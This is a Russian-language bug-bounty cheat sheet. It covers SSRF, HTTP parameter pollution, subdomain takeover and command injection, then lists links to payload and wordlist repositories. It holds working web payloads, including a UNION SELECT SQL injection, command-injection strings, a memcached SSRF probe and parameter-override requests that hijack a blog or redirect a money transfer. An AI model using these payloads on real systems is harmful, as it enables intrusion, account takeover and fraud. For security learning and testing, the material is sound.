GET /?url=dict://localhost:11211/stat HTTP/1.1
Host: example.com
Можно попробовать такой способ
echo -e 'GET @█████/ HTTP/1.1\r\nHost: alerts.newrelic.com\r\n\r\n' | openssl s_client -ign_eof -connect alerts.newrelic.com:443
Обычно увидеть утечку информации можно, используя неполный HTTP-заголовок, например http:// или http://[::]. Конфиденциальная информация включает в себя IP-адрес базы данных, версию базы данных, используемые плагины, ОС, архитектуру ОС, etc.
?consumerUri=http://[::]
HTTP Parameter Pollution
Атака, основным преимуществом которой является возможность обхода WAF (Web Application Firewall)
Передача одного параметра:
example.com/page.asp?id=VALUE1
Передача нескольких параметров с одним именем:
example.com/page.asp?id=VALUE1&id=VALUE2
HPP на серверную часть
http://www.example.com/index.aspx?id=-1+UNION+SELECT+username&id=password+FROM+users–
Ошибка позволила злоумышленникам завладеть блоком жертвы, используя следующий HTTP-запрос:
POST /add-authors.do HTTP/1.1
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com(attacker email)&ok=Invite
Например: при тестировании параметра search_string в строке запроса URL-адрес запроса будет включать имя и значение параметра.
http://example.com/?search_string=kittens
Конкретный параметр может быть скрыт среди нескольких других параметров, но подход тот же; оставьте остальные параметры на месте и добавьте дубликат.
http://example.com/?mode=guest&search_string=kittens&num_results=100
Добавьте тот же параметр с другим значением
http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies
HPP на клиентскую часть
Суть атак на клиента заключается в добавлении дополнительных параметров к ссылкам, различным тэгам, имеющих атрибут src, и к формам (атрибут action)
http://www.example.com/index.php?param=hpp&action=edit
<a href=http://www.example.com/index.php?action=view¶m=hpp&action=edit>test</a>
Чтобы протестировать уязвимости на стороне клиента HPP, определите любую форму или действие, которое позволяет вводить пользователя и показывает результат этого ввода пользователю. Поисковая страница идеальна, но окно входа может не работать (так как это может не показать неверное имя пользователя для пользователя).
Подобно серверной HPP, загрязняйте каждый параметр HTTP% 26HPP_TEST и ищите расшифрованные по URL-адресам загружаемую пользователем полезную нагрузку:
&HPP_TEST
&HPP_TEST
В частности, обратите внимание на ответы, содержащие векторы HPP в атрибутах данных, src, href или действиях форм
Parameter pollution in social sharing buttons
https://hackerone.com/blog/introducing-signal?&u=https://vk.c
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal-and-impact?&u=https://vk.com/durov
https://hackerone.com/blog/introducing-signal-and-impact?&u=https://vk.com/durov&text=another_site:https://vk.com/durov
Есть сайт https://www.example.com/transferMoney.php, который через метод POST принимает следующие параметры:
amount=1000&fromAccount=12345
Добавить toAccount
amount=1000&fromAccount=12345&toAccount=99999
Сайт, уязвимый к HPP атаке передаст запрос бэкенду в таком виде и второй параметр toAccount перезапишет запрос к бэкенду:
toAccount=9876&amount=1000&fromAccount=12345&toAccount=99999
Subdomain takeover
Висящая запись CNAME datacafe-cert.starbucks.com указывает на s00397nasv101-datacafe-cert.azurewebsites.net, который не был заявлен вами. Я зарегистрировал службу с этим именем и, следовательно, смог захватить поддомен.
Сначала я перечислил разные субдомены для starbucks.com. Затем я проверил, есть ли в этих доменах запись cname, указывающая на azurewebsites.net. Для каждого соответствующего домена я выполнил запрос DNS для записи в записи CNAME. Если это возвращает NXDOMAIN, поддомен обычно может быть принят, и возможно зарегистрировать домен, который соответствует записи NXDOMAIN CNAME.
Удаленное выполнение кода (RCE)
.../index.php?page=1;phpinfo()
https://example.com”|ls “-la
os-command-injection
https://portswigger.net/web-security/os-command-injection
CheatSheet
Bug Bounty Cheat-sheet
https://github.com/EdOverflow/bugbounty-cheatsheet
Sql-injection
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/
Xss
https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
http://html5sec.org/
Markdown's XSS Vulnerability
https://github.com/showdownjs/showdown/wiki/Markdown's-XSS-Vulnerability-(and-how-to-mitigate-it)
XSS without HTML: Client-Side Template Injection with AngularJS
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
Practical Web Cache Poisoning
https://portswigger.net/research/practical-web-cache-poisoning
Bypassing Web Cache Poisoning Countermeasures
https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures
Web-cache-deception-attack
https://bo0om.ru/web-cache-deception-attack
Web-Cache-Deception-Attack
https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf
Web Cache Deception Attack leads to user info disclosure
https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29
HTTP Desync Attacks: Request Smuggling Reborn
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
XXE Payload
https://gist.github.com/staaldraad/01415b990939494879b4
SSRF
https://github.com/cujanovic/SSRF-Testing
Metasploit
https://www.offensive-security.com/metasploit-unleashed/
Awesome OSINT Cheat-sheet
https://github.com/jivoi/awesome-osint
Awesome Pentest Cheat-sheet
https://github.com/enaqx/awesome-pentest
Awesome Hacking Cheat-sheet
https://github.com/Hack-with-Github/Awesome-Hacking
Awesome-Infosec Cheat-Sheet
https://github.com/onlurking/awesome-infosec
PENTESTING-BIBLE
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
Penetration-Testing
https://github.com/jtesta/Penetration-Testing
Pentest Bookmarks
https://github.com/kurobeats/pentest-bookmarks/blob/master/BookmarksList.md
Bugcrowd_university
https://github.com/bugcrowd/bugcrowd_university
This API enables cross-origin requests to anywhere.
https://cors-anywhere.herokuapp.com/
https://hackerone.com/reports/577920
Hacking It Out: When CORS won’t let you be great
https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
Wordlist
SecLists (Discovery, Fuzzing, Shell, Directory Hunting, CMS)
danielmiessler - https://github.com/danielmiessler/SecLists
swisskyrepo - https://github.com/swisskyrepo/PayloadsAllTheThings
s0md3v AwesomeXSS - https://github.com/s0md3v/AwesomeXSS
XSS Filter Evasion Cheat Sheet - https://sking7.github.io/articles/218647712.html
xss-payload-list - https://github.com/payloadbox/xss-payload-list
xss_vectors - https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
cujanovic (CRLF-payloads) - https://github.com/cujanovic/CRLF-Injection-Payloads/blob/master/CRLF-payloads.txt
NickSanzotta - https://github.com/NickSanzotta/BurpIntruder
shadsidd - https://github.com/shadsidd
shikari1337 - https://www.shikari1337.com/list-of-xss-payloads-for-cross-site-scripting/
7ioSecurity - https://github.com/7ioSecurity/XSS-Payloads
xmendez - https://github.com/xmendez/wfuzz
minimaxir - https://github.com/minimaxir/big-list-of-naughty-strings
xsscx - https://github.com/xsscx/Commodity-Injection-Signatures
TheRook - https://github.com/TheRook/subbrute
Directory wordlist https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056
Portable Wordlist https://github.com/berzerk0/Probable-Wordlists
FUZZ-DB https://github.com/fuzzdb-project/fuzzdb
Mix-Wordlist https://github.com/jeanphorn/wordlist
Fingerprinting https://builtwith.com/ https://wappalyzer.com/
Blind XSS https://xsshunter.com/